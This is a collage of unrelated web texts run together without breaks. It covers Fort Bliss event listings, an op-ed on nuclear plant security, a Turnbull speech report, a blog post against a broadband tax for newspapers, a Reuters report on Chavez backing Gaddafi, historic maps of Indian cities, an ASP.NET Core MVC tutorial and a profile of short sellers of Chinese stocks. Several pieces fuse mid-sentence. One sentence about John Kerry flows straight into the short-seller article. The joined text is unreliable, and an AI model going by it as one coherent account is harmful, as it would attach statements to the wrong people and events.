YAPPY HOURS >> Friendly dogs and people are welcome to attend the next Yappy Hours from 6 to 8 p.m. Friday and again on Aug. 11 at the Sam Adams Pub at the Centennial Club. The event is free and open to the public. The July theme will be Patriotic Pups, and the August theme will be Back to School. The event is outdoors on the pub’s patio. Information: 569-7294.
Mickelsen Community Library is showing movies on its lawn during the summer. (Photo: Courtesy photo)
FORT BLISS OKTOBERFEST >> Tickets go on sale for the Fort Bliss Oktoberfest on Aug. 7. The event will be held Sept. 8-10 at Biggs Park.
Tickets are available at both Leisure Travel Services locations at Freedom Crossing and the Soldier Activity Center and at eventbrite.com.
Tickets are $35 and are needed to attend the first two days. Tickets include a German meal and commemorative beer stein. Beer is not included in the ticket price. Entertainment will be provided by Terry Cavanagh and the Alpine Express and the German air force Schuhplattler dancers.
The event will take place from 6 p.m. to 12:30 a.m. Sept. 8-9. The final day, Sept. 10, is a free, nonticketed family day and will be held from noon to 5 p.m. You must be at least 18 to attend the first two days and 21 to drink alcohol. Information: 588-8247.
CARDBOARD REGATTA >> The third annual Cardboard Regatta will be held starting at 1 p.m. Aug. 26 at Community Pool, 253 Club Road. Boats can be made of cardboard and other recyclable material, and there must be two riders per boat. The event is free and open to Department of Defense ID cardholders. Preregistration is required at bliss.armymwr.com (search for Cardboard Regatta). Information about approved materials and rules can also be found on the Morale, Welfare and Recreation Web site. Information: 569-7294.
TAP AND CORK TICKETS ON SALE >> Tickets for the Tap and Cork: Craft Beer and Wine Festival are on sale. The event will be held from 2 to 10 p.m. Aug. 5 and from noon to 6 p.m. Aug. 6 at the Centennial Club.
Tickets for one day cost $15 for Department of Defense ID cardholders, $18 for the general public and $20 at the door. You need to be at least 18 years old to attend and 21 to drink alcohol.
Tickets include 10 samples of beer and/or wine and a complimentary glass. Tickets are available at neonticket.com or at Leisure Travel Services at Freedom Crossing or the Soldier Activity Center. Information: 588-8247.
CLIMBING CLASSES >> Fort Bliss Outdoor Recreation is hosting climbing classes from 7 to 9 p.m. Aug. 4 and Sept. 22 at the Soldier Activity Center. The cost is $8 per class, and the event is open to anyone who is at least 10 years old. Climbers who are age 10 to 17, however, must have a parent or legal guardian present. Registration is being accepted at the Soldier Activity Center. Information: 744-1532.
PK-12 EDUCATION FAIR >> Fort Bliss will have its annual Pre-K-12 Education Fair from 9 to 11:30 a.m. Aug. 1 at the Centennial Club. The event is free and open to all military families. Children and parents will be able to meet with more than 100 school representatives and organizations. Attendees can learn about athletics, health services, student and parent services, special education, Junior ROTC, bilingual education, magnet programs and others. Information: 569-5064.
HIRING FAIR >> Fort Bliss will have one of its semiannual Hiring Fairs from 9 a.m. to 1 p.m. Aug. 17 at the Centennial Club. The free event is open to all active duty, family members, retirees and other military ID cardholders. Information: 569-5838.
RELOCATION FAIR >> Newcomers to Fort Bliss and El Paso can find out about their new home during the annual Bienvenidos a Bliss Relocation Fair from 1 to 5 p.m. Aug. 25 at the Centennial Club. The event is free and open to the public. It will feature local businesses, travel and tourism representatives and on-post organizations. Information for businesses that would like a table: 568-6078. General information: 569-4227.
BUNCO EVENT >> The Pershing Pub will host a bunco event at 6 p.m. July 27. The cost is $15, which includes unlimited play and one drink. The event is open to anyone who is at least 18 years old. The theme is Patriotic Night, so dress accordingly. Reservations are encouraged. Information: 781-6809.
CAVE EXPEDITION >> Fort Bliss Outdoor Recreation is organizing a trip to the Lower Cave at Carlsbad Caverns National Park on July 29. The cost is $40 and includes transportation, cave tour and guide services. The park entry fee is not included. The event is open to anyone who is age 16 or older. Reservations are being accepted at the Soldier Activity Center. Information: 744-1532.
BALMORHEA TRIP >> Fort Bliss Outdoor Recreation is organizing a trip to Balmorhea State Park on Aug. 12-13. The cost is $45 per person or $150 for a family of four. The fee includes park entry, camping equipment, personal flotation devices, one dinner and transportation. The event is open to the public for ages 10 and older. Sign-ups are being accepted at the Soldier Activity Center. Information: 744-1532.
WELCOME BACK RIGHT ARM NIGHT >> Right Arm Night will be held from 4 to 9 p.m. Aug. 18 at the Pershing Pub. There will be free Mexican food, frozen margarita specials, prizes and other fun features. Information: 781-6809.
HIGH STAKES BINGO >> The Centennial Club will host a bingo event on Aug. 26. The event is open to Department of Defense ID cardholders who are 18 and older. Doors open at 4:30 p.m., early-bird play starts at 6 p.m. and high-stakes bingo starts at 7 p.m. The cost starts at $40. Early registration is required and space is limited to 150 people. Information: 744-8427.
WAGON TRAILS MARKET >> Old Fort Bliss Replica will host a Wagon Trails Market on Fridays through Aug. 25. The event will run from 4 to 6 p.m. and includes food, crafts and demonstrations from vendors.
Booth space is free, but vendors must provide their own tables, signs and a change fund. The market will be closed on federal and training holidays. Information: 588-8482.
BOWLING SPECIALS >> Desert Strike Lanes has a couple of special offers good from 7 to 11 p.m. every Thursday through Aug. 31. Bowlers can get unlimited bowling, including shoes, during those hours for $9 per person. Four bowlers can bowl unlimited times together for $49.95 and that includes shoes, one large pizza and a pitcher of soda. Information: 568-6272.
EARLY BIRD GOLF >> The Underwood Golf Complex will have early bird specials from 6 to 9 a.m. Monday through Friday through Oct. 31. During those times, it costs $15 to play nine holes, and the price includes a cart. Information: 568-1059.
FAMILY DAY AT WALL >> The Soldier Activity Center is having open climbing on its indoor climbing wall from noon to 6 p.m. Thursdays and Saturdays. The event is open to climbers age 4 and older, based on equipment requirements. The event is free for active duty and $4 for all others. Information: 744-1532.
— Compiled by David Burge
Read or Share this story: http://www.elpasotimes.com/story/news/military/ft-bliss/2017/07/18/mickelsen-library-showing-movies-its-lawn-during-summer/469940001/Now Playing: Teaching Kids at Home Now a Crime
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Now Playing: Tensions escalate between India, PakistanIn the wake of terrorist attacks in Brussels, Paris, Istanbul, Ankara and elsewhere, nations are rethinking many aspects of domestic security.
Nuclear plants, as experts have long known, are potential targets for terrorists, either for sabotage or efforts to steal nuclear materials.
Currently there are 444 nuclear power plants operating in 30 countries around the world and 243 smaller research reactors, which are used to produce isotopes for medical uses and to train nuclear engineers. The nuclear industry also includes hundreds of plants that enrich uranium and fabricate fuel for reactors. Some of these facilities contain materials terrorists could use to build a nuclear or “dirty” bomb. Alternatively, power plants could be “hijacked” to create an accident of the sort experienced at Chernobyl and Fukushima, sending clouds of radioactivity over hundreds of miles.
At last month’s Nuclear Security Summit in Washington, D.C., representatives from 52 countries pledged to continue improving their nuclear security and adopted action plans to work together and through international agencies.
But significant countries like Russia and Pakistan are not participating. And many in Europe are just beginning to consider physical security measures. From my perspective as a former nuclear regulator and now as director of the Center for International Science and Technology Policy at George Washington University, it is clear that nuclear plants are vulnerable to terrorist attacks.
Physical and cyber threats
It is not news that security is weak at many civilian nuclear power and research facilities.
In October 2012, Greenpeace activists entered two nuclear power plants in Sweden by breaking open a gate and scaling fences without being stopped by guards. Four of them hid overnight on a roof at one reactor before surrendering the next morning.
Just this year, Sweden’s nuclear regulatory agency adopted a requirement for armed guards and additional security measures at the plants. However, these upgrades do not have to be in place until early 2017.
In 2014 French nuclear plants were plagued by unexplained drone overflights. And Greenpeace activists broke into the Fessenheim nuclear plant near the German border and hung a large banner from the reactor building.
In light of the recent Brussels attacks, reports from Belgium are more alarming. In 2012 two employees at the country’s Doel nuclear power station left Belgium to fight in Syria. In 2014 an unidentified saboteur tampered with lubricant in the turbine at the same reactor, causing the plant to shut down for five months. And earlier this year authorities investigating the Paris attacks discovered video surveillance footage of a Belgian nuclear official in the home of one of the Paris suspects.
One has to assume that potential attackers may understand how the sites and materials can be used.
Given the heightened state of alert in Europe, governments should, I believe, immediately increase security at civilian nuclear facilities. They could emulate the United States, where security at nuclear facilities has substantially increased since the September 11, 2001 terrorist attacks.
American role model
U.S. nuclear power plants now are some of the most well-guarded facilities in the world.
The U.S. Nuclear Regulatory Commission (NRC) regulates both safety and security at nuclear power plants. After 9/11, these sites were required to add multiple layers of protection, with the cores of reactors (where the fuel is located) the most highly defended areas.
Up to one-third of the workforce at many U.S. nuclear plants now is security-related. Many nuclear utilities used to hire contract security forces; now guards at many of these plants are employed directly by plant owners and have opportunities to move to other jobs at their sites, increasing employee satisfaction and improving performance.
NRC regulations require U.S. nuclear plants to hold regular drills in which well-trained former military units attack the plants with up-to-date materials and techniques. NRC observers evaluate these exercises, and facility owners face stiff penalties for failure.
The United States has also adopted regulations to ensure cybersecurity at reactors. As new, entirely digital reactors come online, such measures will be more necessary than ever.
The successful 2010 Stuxnet attack, for example, in which a computer worm infiltrated computers at Iranian nuclear facilities and caused machines to malfunction, showed how vulnerable unprotected computer networks can be.
Improving security worldwide
There are no global standards for physical protection at civilian nuclear facilities. Each country adopts its own laws and regulations dictating what nuclear site owners are required to do to protect plants from attack.
As a result, measures at plants can vary widely, with some countries depending on the local police force for protection and leaving guards unarmed. Often the level of security depends on cultural norms and attitudes, but the recent attacks in Europe suggest a rapid adjustment is needed.
Here are steps that, in my view, all countries can take to make nuclear plants more secure.
One priority is to provide enough funds to the International Atomic Energy Agency (IAEA), which has recently elevated its physical security section to assist member countries looking for ways to protect their nuclear plants more effectively. Since 2010 the agency has trained more than 10,000 people in nuclear security, including police and border guards. It also tracks illicit trafficking and other activities involving nuclear material, and has recorded nearly 3,000 such events since 1995.
Countries that have nuclear power plants or research reactors understandably tend not to spotlight the challenges of protecting these sites. But we know from instances like the ones cited above that they exist. In many countries nuclear regulatory agencies oversee safety but not security. Each of these nations needs to empower an independent regulator to enforce new requirements and inspect security at nuclear sites. Most importantly, security forces at nuclear facilities should be required to practice attack scenarios regularly under the gaze of independent observers.
Countries such as the United States that already have solid physical security requirements for nuclear facilities can help.
Nuclear regulators from all countries meet regularly and could easily share information and train their counterparts on plant physical security. In December 2012, for example, the U.S. NRC organized the first-ever International Regulators Conference on Nuclear Security. No other government has offered to head up a follow-on meeting since then.
And countries with existing reactors aren’t the only problem. At least 60 countries have expressed a desire to acquire nuclear power. The United Arab Emirates is in the process of constructing four reactors. Turkey and Vietnam have made deals with the Russian manufacturer, Rosatom, in which construction, financing, operation, even waste disposal, will be handled solely by the Russians. Many of these “emergent” countries do not regularly attend Convention on Nuclear Safety peer review meetings at the International Atomic Energy Agency. Without a security regime in place, how can we expect them to do any better than the existing plants?
To prevent an attack at a nuclear site, governments must take security at nuclear sites seriously now, not a year from now.
In light of the current terrorist threat and with four Nuclear Security Summits completed, countries with nuclear plants need to up their game with regards to physical security at nuclear power facilities before it’s too late.Malcolm Turnbull, addressing the National Press Club, has warned against extremism in the Liberal Party. Picture: Kym Smith
MALCOLM Turnbull has cautioned against extremism in the Liberal Party, saying elections are won in the political centre, not by convincing ardent supporters to "vote for you with even more enthusiasm".
The former Liberal leader told the National Press Club today that the party “must remain a broad church” if it was to return to government.
Amid new polling showing him virtually on par with Julia Gillard as preferred Labor leader, Mr Turnbull said his ability to win over Labor supporters was a political strength, not a defect.
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“You don't win elections by persuading your most devoted supporters to cast a vote for you with even more enthusiasm than they did at the last election - particularly in a system with compulsory voting like ours,” he said.
“You win elections by persuading people who didn't vote for you at the last election to vote for you. Elections are always won at the centre.”
Mr Turnbull was at pains not to undermine his successor Tony Abbott, who hails from the party's conservative wing, after repeated attacks by colleagues accusing him of disloyalty.
As a shadow cabinet member, he said he would vote with the opposition on the Gillard government's carbon tax.
But the advocate of emissions trading urged all those involved in the carbon debate to listen to the scientists, and lamented the lack of “civility” in political discourse.
He also contradicted Mr Abbott's claim that carbon dioxide was “weightless”.
“Carbon dioxide obviously does have a weight and if you drop a large lump of dry ice on your foot you'll find that out very quickly,” Mr Turnbull said.
“When it is compressed to a liquid, it actually has about the same volume and weight characteristics as water - an interesting piece of trivia for you.”
Mr Turnbull said the Liberal Party embodied elements of liberalism and conservatism and most people in the party “would find themselves to be an amalgam in various mixture of those two philosophical approaches”.
He said his performance in the last two elections in turning his Sydney seat of Wentworth into a Liberal stronghold proved his value to the party.
“Now, I don't regard that as a defect. I regard that as a political strength.
“And I work very hard to represent all of my constituents, and indeed all Australians as a member of the national parliament, and recognise that you have to draw support from across the field.”
The latest Essential Poll suggests just 12 per cent of voters want Ms Gillard as Labor leader, compared to 37 support for Kevin Rudd.
Mr Turnbull was regarded as preferred Labor leader by 11 per cent of voters, including six per cent of Labor voters and 17 per cent of Coalition voters.
“I think it (the poll) shows 11 per cent of the respondents had a devilish sense of humour,” Mr Turnbull said today.The Return Of Dumb Ideas: A Broadband Tax To Save Failing Newspapers
from the make-it-go-away dept
There would be no insuperable problems in defining "news providers". The starting point would be to designate those organisations already classed by the state as zero-rated newspapers under the 1994 VAT legislation : "Newspapers … issued at least once a week in a continuous series under the same title … [which] contain information about current events of local, national or international interest. Publications which do not contain a substantial amount of news are not newspapers."
Other original news providers could subsequently apply to the independent levy board for admission to the scheme, case-by-case. But there would have to be a reasonable size threshold for admission, perhaps set at 100,000 monthly users, and also some rules to exclude content aggregators.
"A £2-a-month levy on automobiles could save our horse and cart business."
RobW points us to an opinion piece over at The Guardian, by David Leigh, who argues that there should be a £2 tax on every broadband connection sent to newspapers in order to prop them up for their own failures to adapt to a changing market place. He tosses out the usual tropes about how only newspapers can do real investigative reporting (what, like hacking voicemails the way Rupert Murdoch's journalists did?). Of course this is a complete myth. First of all, most newspapers do very little investigative reporting -- and UK papers are also somewhat famous for their ability to stretch the truth at times. Is this really something we want to reward?The idea is hardly original. It's been suggested for years and seems to pop up in random places at random times. While it may be more reasonable than taxing Google to fund newspapers, it's still a horrifically bad idea. Leigh tries to work out how this would work, arguing that the sum would be divvied up among UK newspapers based on their web traffic. Of course, how you measure web traffic suddenly becomes very, very important. Leigh seems to assume this is easy, and that any such system wouldn't be gamed -- which it would. On top of that, he fails to recognize that the second you base such a huge sum of potential money on purely one metric, news sites would optimize solely on that metric, even if they're not "gaming" the system. So, expect plenty of attempts at sensationalistic stories and the like, rather than the thoughtful investigative reporting he thinks they're going to get.And how do you define who gets access to the money in the first place? Leigh thinks he has that worked out too... but he does not:Ok, so that starts out by favoring the very companies who have done the least to adapt to changing times and ignores upstarts who have worked hard to build audiences and business models that work. And then you have to "apply" to get access in a long bureaucratic process where a small group of people (probably pulled from newspapers) gets to pick and choose? That's not how you build innovative companies with innovative business models. And, really, why the ban on "content aggregators"? There is this ongoing argument among old school newspaper people who seem to think that "aggregators" are the enemy -- despite the fact that they send original news sites more traffic and more users, and many aggregators expand into original content production themselves as well. Either way, lots of news sites would start applying, just because there's a ton of cash sitting there, and they'd all just start trying to optimize for the metric to get in.But, of course, the real problem with all of this is the idea that itmakes sense to tax a new technology to prop up those who failed to innovate, failed to adapt and couldn't compete. If they can't do it, let them fail. Contrary to Leigh's rather myopic view of the world, others will come in to fill the need, and they'll do so with innovative business models that don't require a tax. Really, Leigh's piece is best summed up by the first comment, from user "romandavid" who noted:Exactly. If this got approved, every other disrupted industry would seek the same thing. Record labels? Movie studios? You bet. Travel agents? Absolutely. Really, what industry wouldn't want to add their own "tax" to the internet to try to pretend that we still lived in the 1980s? Thankfully, nearly all of the comments on the article seem to be taking the same general stance, that Leigh's idea is completely ridiculous and self-serving, without any reason or merit.
Filed Under: broadband tax, newspapers, tax, ukCARACAS (Reuters) - Venezuelan President Hugo Chavez said on Tuesday he will only recognize a Libyan government led by his friend and ally Muammar Gaddafi and accused the United States of inciting the country’s civil war.
Venezuela's President Hugo Chavez smiles while holding a gold ingot after signing a decree for the nationalization of the gold mining industry, at Miraflores Palace in Caracas August 23, 2011. REUTERS/Miraflores Palace/Handout
Chavez, who has been the most vocal world leader to support Gaddafi, accused Western powers of riding roughshod over international law by backing Libya’s rebels in their revolt.
“This is kicking, spitting... on the most basic elements of international law,” he said. “Where are the international rights? This is like the caveman era.”
Venezuela’s socialist leader spoke after rebels overran Gaddafi’s compound in Tripoli in what appeared to be the end of his 42-year rule.
During six months of civil war more than 30 countries, including the United States and major European Union countries, have moved to recognize the rebel National Transitional Council as the governing authority in Libya.
“Now (President Barack) Obama said he will collaborate economically with the new government, which of course we do not recognize,” Chavez said.
“We only recognize one government, the one led by Muammar Gaddafi,” he said to applause as he presided over a cabinet meeting broadcast live on state TV.
The 57-year-old former soldier has repeatedly accused Western powers of fueling the conflict to steal Libya’s oil and on Tuesday said they were waging a “dogs’ war.”
“It’s harsh but true... They arranged this war,” Chavez said, referring to the United States.
“They provided the arms, the mercenaries. They better not attempt to apply the Libyan formula to Venezuela or we’ll have to show them our power.”
Both Chavez and Gaddafi are military men who cast themselves as anti-imperialist revolutionaries and forged a friendship during half a dozen encounters in the past decade.
They have enjoyed a long-standing alliance based on left-wing economic ideas, antagonistic relations with the United States, and their countries’ membership in OPEC.
Chavez studied Gaddafi’s “Green Book” outlining his political philosophy while in the army, and both men have given each other numerous gifts and awards.
Back in March, the Venezuelan leader proposed a vague peace plan for Libya that received little support from either side.
Some media reports have suggested Gaddafi, whose whereabouts remain unknown, could seek asylum in Venezuela but Chavez made no reference to that.India’s already-heaving metropolises are among the fastest growing cities in the world.
But before decades of extensive construction (and re-construction), large-scale migration, and rapid economic expansion entirely transformed them into the cities they are today, what did the early days of these urban agglomerations look like?
Some incomplete but decidedly interesting answers can be gleaned from centuries-old maps, a handful of which are currently displayed at New Delhi’s National Museum. Courtesy of the museum’s newly opened “Cosmology to Cartography” exhibition, here are some early maps of India’s biggest cities, accompanied by short excerpts from the exhibit’s catalogue.
Old Delhi (1857)
Plan of Dehli, copied and zincographed at the Ordnance Survey Office, Southampton.
A fine plan of Old Delhi issued during the Siege of Delhi, a major event of the Uprising of 1857:
This intriguing plan depicts “Old Delhi” as it appeared during the Great Uprising of 1857…Delhi as depicted here was founded in 1638 by the Mughal Emperor Shah Jahan in order to serve as his new capital city. Named as Shahjahanabad, it was comprised of seven square miles enclosed by great walls. The city was dominated by the colossal Red Fort, the imperial palace constructed in 1648, that straddles the Jumna (Yamuna) River, in the lower part of the plan. The rest of the city was composed of a dense warren of streets interrupted by a few broad avenues, fine gardens and magnificent mosques.
Lutyen’s Delhi (1913)
Edwin Lutyen’s official master plan for the creation of New Delhi.
Edwin Lutyen’s official master plan for the creation of New Delhi:
Lutyen’s plan literally projects British imperial power over the existing Indian landscape. A profoundly powerful image, it shows in bold red lines the network of broad boulevards, running between grand edifices literally overwhelming all aspects of the countryside, which is presented in pale blue. Indeed, the new imperial city literally bulldozed ancient villages and ploughed over farms that had been worked for centuries. At the same time, it strategically preserved an integrated import Mughal monuments, such as Humayun’s Tomb, into the new city, symbolically legitimising British power by showing it as the rightful successor to the Mughal imperial mantle.
Calcutta (1832)
Map of the city and environs of Calcutta constructed chiefly from Major Schalch’s map and from Captain Prinsep’s Surveys of the suburbs.
A masterpiece of early Indian lithography and colouring, and an exquisite rendering of the important Schalch-Princep survey of Calcutta:
The map provides an extremely detailed portrayal of Calcutta, which was then the capital of the “Company Raj” and India’s preeminent commercial and cultural centre, with a population of almost 200,000. The city proper, comprised of densely populated urban blocks coloured in red, is confined by the Hooghly River and the New Circular Canal. The great citadel of Fort William, built between 1757 and 1764, rises out of the middle of the Esplanade on the south side of town. True to European Enlightenment era urban models, Calcutta is traversed by several broad thoroughfares, although by contrast most of the city is comprised of narrow, curving streets and alleyways, common to many traditional Indian cities.
Bangalore (1794)
Plan of Bangalore (with the attacks) taken by the English Army under the command of the Earl Cornwallis.
The most detailed and accurate early map of Bangalore, and one of the finest plans depicting a major Indian city prior to the influences of contemporary European urban planning:
This fascinating map of Bangalore grants a magnificent impression of a sizeable Indian city prior to it being influenced by European urban models. The large pettah in the upper centre is encircled by an elaborate system of walls and takes on an overall ovoid shape common to many such Indian cities. Within are dense and uneven blocks divided by narrow streets, a labyrinth which was ideal to confuse potential invaders who dared to storm the city. A connecting ovoid palace-fort complex projects off of the main pettah to the south.
We welcome your comments at [email protected]’ve seen how to create your first simple web application using just the command line.
Now let’s add MVC to the picture.
Don’t forget to select the.NET Core SDK version you’re using before you follow along.
SDK 1.0.0 (or lower) SDK 1.0.1 (or higher)
Start off by modifying project.json to require the MVC packages. { "version": "1.0.0-*", "buildOptions": { "debugType": "portable", "emitEntryPoint": true }, "dependencies": {}, "frameworks": { "netcoreapp1.0": { "dependencies": { "Microsoft.NETCore.App": { "type": "platform", "version": "1.0.0" }, "Microsoft.AspNetCore.Server.Kestrel": "1.0.0", "Microsoft.AspNetCore.Mvc": "1.0.0" }, "imports": "dnxcore50" } } }
Start off by bringing in the ASP.NET and MVC package dependencies. dotnet add package Microsoft.AspNetCore -v 1.1.* dotnet add package Microsoft.AspNetCore.Mvc -v 1.1.*
As with all dependencies, you’ll need to ensure they’ve been downloaded using the restore command.
dotnet restore
You’re all set to configure your web application to use MVC, meaning you can start defining routes, using controllers and views.
Add a sprinkling of MVC
For MVC to spring into life, you need to make some changes to startup.cs.
using Microsoft.AspNetCore.Builder; using Microsoft.AspNetCore.Http; using Microsoft.Extensions.DependencyInjection; namespace CoreApp { public class Startup { public void ConfigureServices(IServiceCollection services){ services.AddMvc(); } public void Configure(IApplicationBuilder app) { app.UseMvc(); app.Run(context => { return context.Response.WriteAsync("Hello world"); }); } } }
There are two important steps here.
.NET Core automatically uses Microsoft’s latest framework for dependency injection (hence the Microsoft.Extensions.DependencyInjection dependency). This provides a simple mechanism to register the services which your application needs.
Inside of the ConfigureServices method you can register any services (dependencies) that your application requires. In this case you’re registering all the services needed in order to use Microsoft’s implementation of MVC.
app.UseMvc() tells your app to add MVC to the request execution pipeline. This will ensure that all requests to your web application are routable to the MVC framework, meaning you can use controllers, views and anything else contained within the MVC implementation (action filters etc).
Throw in a controller
So far so good, but if you run your app you’ll still only see “Hello world”, so how do you start using MVC?
Well, unsurprisingly you’ll need a controller. In ASP.NET Core your controllers can live anywhere, meaning you don’t have to stick to a Controllers folder if you don’t want to. But old habits die hard so let’s keep it simple for now.
In a command prompt, change to your app’s folder then create a new Controllers folder and HomeController.cs.
md Controllers cd Controllers NUL> HomeController.cs
(In case you don’t recognise it, that last command creates a new empty file).
Now add the following to your controller.
using Microsoft.AspNetCore.Mvc; namespace CoreApp { public class HomeController : Controller { [Route("home/index")] public IActionResult Index() { return Ok("Hello World from a controller"); } } }
Attribute Routing is probably the simplest way to get started and means you can stay focused on building your features whilst tweaking the routing to something that makes sense for your specific app.
Is it data? is it a View? No it’s an ActionResult
ASP.NET Core doesn’t differentiate between MVC and Web API controllers, so you can return views or data using the same approach.
In this example you’ve returned a simple string. You can just as easily return an object as data.
using Microsoft.AspNetCore.Mvc; namespace CoreApp { public class HomeController : Controller { [Route("home/index")] public IActionResult Index() { return Ok("Hello World from a controller"); } [Route("home/greet/{username}")] public IActionResult Greet(string username) { var greeting = new Greeting { Username = username }; return Ok(greeting); } } }
The Greeting class in this case is a simple affair with a Username property.
public class Greeting { public string Username { get; set; } }
If you haven’t already, run your application again.
dotnet run
Take a look at the results in your browser to see your very own personalised greeting as a JSON response.
Take in the view
If you want to return a view, that’s simple too.
Modify your controller’s index action to return a view instead.
public class HomeController : Controller { [Route("home/index")] public IActionResult Index() { return View(); } // ------- }
By convention, Core will look in a few places to find a view with the same name as the action, in this case Index.cshtml.
Create a Views/Home folder in the root of your app and add an index.cshtml.
<div> <h1>Hello World from a view</h1> </div>
At this point, if you try and go to /home/index you’ll get a nasty shock, nothing will appear, just a blank page.
Before you tear your hair out trying to work out why, let me save you the hassle. There are two more steps you need to take.
Firstly, Core will attempt to compile the razor views at runtime and fails unless you add a setting to your project.json file. "buildOptions": { "preserveCompilationContext": true, "debugType": "portable", "emitEntryPoint": true },
Firstly, Core will attempt to compile the razor views at runtime and fails unless you add the preserveCompilationContext property to your csproj file. <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>netcoreapp1.1</TargetFramework> <PreserveCompilationContext /> </PropertyGroup>
preserveCompilationContext ensures that various reference assemblies (e.g. System) are preserved so that Core can compile your razor views at runtime.
Secondly, you need to tell your Core app where to start looking for content files (e.g. views). You can specify this by setting the UseContentRoot() option in Program.cs.
using System; using System.IO; using Microsoft.AspNetCore.Hosting; namespace CoreApp { class Program { static void Main(string[] args) { Console.WriteLine("Hello World!"); var host = new WebHostBuilder().UseKestrel().UseContentRoot(Directory.GetCurrentDirectory()).UseStartup<Startup>().Build(); host.Run(); } } }
To make sure these changes take effect, you may need to run the following command.
dotnet clean
Before the usual dotnet run command.
This ensures that the previously compiled output (typically bin\debug) is cleared and rebuilt and will save you from hours of head-scratching, trying to work out why your changes haven’t worked (ask me how I know).
Try hitting the page again now and you will see your rendered view.
And finally
So just to wrap this up, let’s add some dynamic data to your view.
Modify your controller to return your greeting object.
public class HomeController : Controller { // -------- [Route("home/index/{username?}")] public IActionResult Index(string username = "you") { return View(new Greeting { Username = username }); } // -------- }
A simple change to your view and your page will offer you a friendly greeting (defaulting to “you” if a name is not specified in the request).
<div> <h1>Hello @Model.Username from a view</h1> </div>
In Summary
Apart from one or two gotchas (looking at you preserveCompilationContext ), extending your web application to use MVC is simply a matter of configuration.
In fact, much of what you’ll want to do with.NET Core, even completely changing the way your application works is a matter of knowing what’s available and then tweaking the configuration.In an hour-long screed to reporters, Secretary of State John Kerry railed against
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and made as yet unproven allegations against a whole bunch more.
As a result they have scuttled a once hot sub-sector of the American capital markets.
In a number of cases they claim to have made a killing by shorting those stocks - placing a bet that the shares would fall in value - before publishing the research. They insist they operate independently but are clearly influenced by one another’s ideas and tactics.
Altogether, they have been the catalyst that has wiped more than $21 billion off the market value of Chinese companies listed in North America. The sell-off has led to big losses for some very prominent investors, including hedge fund manager John Paulson and former AIG CEO Maurice “Hank” Greenberg.
In the aftermath, a series of companies have been delisted by U.S. exchanges, auditors have quit at a number of others, investors are filing class action lawsuits, and the U.S. Securities and Exchange Commission is pursuing investigations.
To their supporters, the short sellers are doing the regulators’ work for them by exposing fraud. They argue that many of these companies, which are often legally domiciled in offshore havens such as the Cayman Islands, should never have been allowed to list in America in the first place.
To their detractors, the short sellers have leveraged a handful of correct calls on accounting shenanigans into a campaign that has tainted many legitimate Chinese companies. Some accuse them of conspiring with big hedge funds to take short positions before they publish their research.
Many have jumped into the Chinese short selling game; Reuters has identified the five below as among the most prominent players.
CARSON BLOCK AGE: 35 LOCATIONS: Hong Kong and the U.S. West Coast WEBSITE: www.muddywatersresearch.com
Carson Block has been punching above his weight in China, judging by the impact of the reports issued by his firm, where he is the only full-time employee.
Toronto-listed Chinese timber company Sino-Forest Corp, perhaps the largest target for short-sellers, has lost more than 60 percent of its value, or more than $2.5 billion, since Block accused the company of a massive fraud in early June.
His published research has also sparked plunges in shares of the following companies: Orient Paper, RINO International, China MediaExpress and Duoyuan Global Water. He also issued an open letter to the CEO of Spreadtrum Communications, citing concerns about its financial reports, though the stock has recovered from an initial dive.
About $1.7 billion has been wiped off of the aggregate market value of these U.S.-listed companies since the reports from his firm, whose name stems from the Chinese proverb, “muddy waters make it easy to catch fish.”
Before starting Muddy Waters, Block ran a Shanghai-based self-storage company called “Love Box Storage.” He previously worked as an attorney at Jones Day in Shanghai and as an adjunct professor at Chicago-Kent College of Law.
His lack of a Wall Street track record has been questioned by his critics. Block, who still owns Love Box but isn’t involved in day-to-day operations, says these experiences “gave me a trench level view of business in China” where he “learned about the good, the bad and the ugly.”
Block says his interest in shorting Chinese stocks came after his father, Bill, president of W.A.B. Capital - which introduces small, public Chinese companies to institutional investors - asked him to examine Orient Paper for a possible investment on the long side.
The report brought a great deal of attention to Muddy Waters, and Block received tips for new companies to focus on. Orient Paper said an internal probe didn’t find any fraud, but in March it said it would re-audit its fiscal 2008 results. The stock trades well below pre-report levels.
“We realized the company was a complete fraud, and I assumed at the time that there would be other likely frauds out there,” Carson Block said. “I didn’t have a business plan in mind when I set up Muddy Waters and wrote the report; I just figured I’d see what happened next.”
Block’s firm currently only takes short positions, bets that a stock will fall in price, though Block has said he may go long in the future. He declined to disclose how much the firm has in assets under management.
Block says he sends experts into China to examine factories and offices to confirm company claims, with Block often attending. He uses legal and accounting consultants as well as private investigators in his work.
The research gets posted on the firm’s website. Some have accused Block of acting unethically by sending research to hedge funds, for a fee, before it is published. Block declined to comment, but his research notes contain a disclaimer that says investors should assume Block, his “clients and/or investors” already have short positions in the subject of the report.
Block says his success has made him and his wife a target for threats. He recently moved his main base to the West Coast - though he won’t say exactly where - from Hong Kong. Block had already increased security measures, including removing the Muddy Waters phone number from its website. (The firm used to list a false address to increase its camouflage, a move that drew brickbats from its critics.) “I felt that the sort of attention I was getting wasn’t the kind we want,” he said.
JOHN HEMPTON AGE: 44 LOCATION: Sydney, Australia WEBSITE: brontecapital.blogspot.com/
John Hempton looks more like the public servant he used to be rather than the millionaire hedge-fund manager he has become, dressed in an olive cable-knit sweater over collared shirt and tie, jeans, docksiders and large, round spectacles.
He is reading a book on his Kindle at a beachside cafe near his home in Bronte, an affluent seaside suburb on Sydney’s eastern shore. He had cycled from his home on a hybrid electric bike. His wife drives a 14-year-old car. An economics graduate, he started his career in Australia’s Treasury department trying to unravel tax-avoidance schemes.
“I really do understand fraud and esoteric accounting issues, and strangely enough that comes from my days at Treasury,” he said. “I was given all the gnarly avoidance problems... I cut my teeth on stuff that was deliberately complex and a little nasty. It was a good place to learn how nasty accounting works.”
Hempton said he had “semi-retired” at the age of 39, after making a personal fortune on the flotation of fund management firm Platinum Asset Management, where he was a junior partner and analyst covering financial, media and utilities stocks. He says he once managed A$20 billion (US$21.15 billion) in investments.
He started his new career by writing a blog on his favorite topic: the sickness at the heart of international banks.
Hempton then struck up a partnership with an old friend, Simon Maher, formerly the head of an Australian utility. They formed Bronte Capital with a small office near the famous Bondi Beach, and initially managed their own money.
After spotting his first alleged China fraud - Universal Travel Group - Hempton says there was no turning back.
“They are so obvious that this is like shooting fish in a barrel. It’s not going to remain that way. We are already finding it’s tougher to find them in the U.S., and the ones that are really obvious are already mostly exposed. We are looking a little in Hong Kong now.”
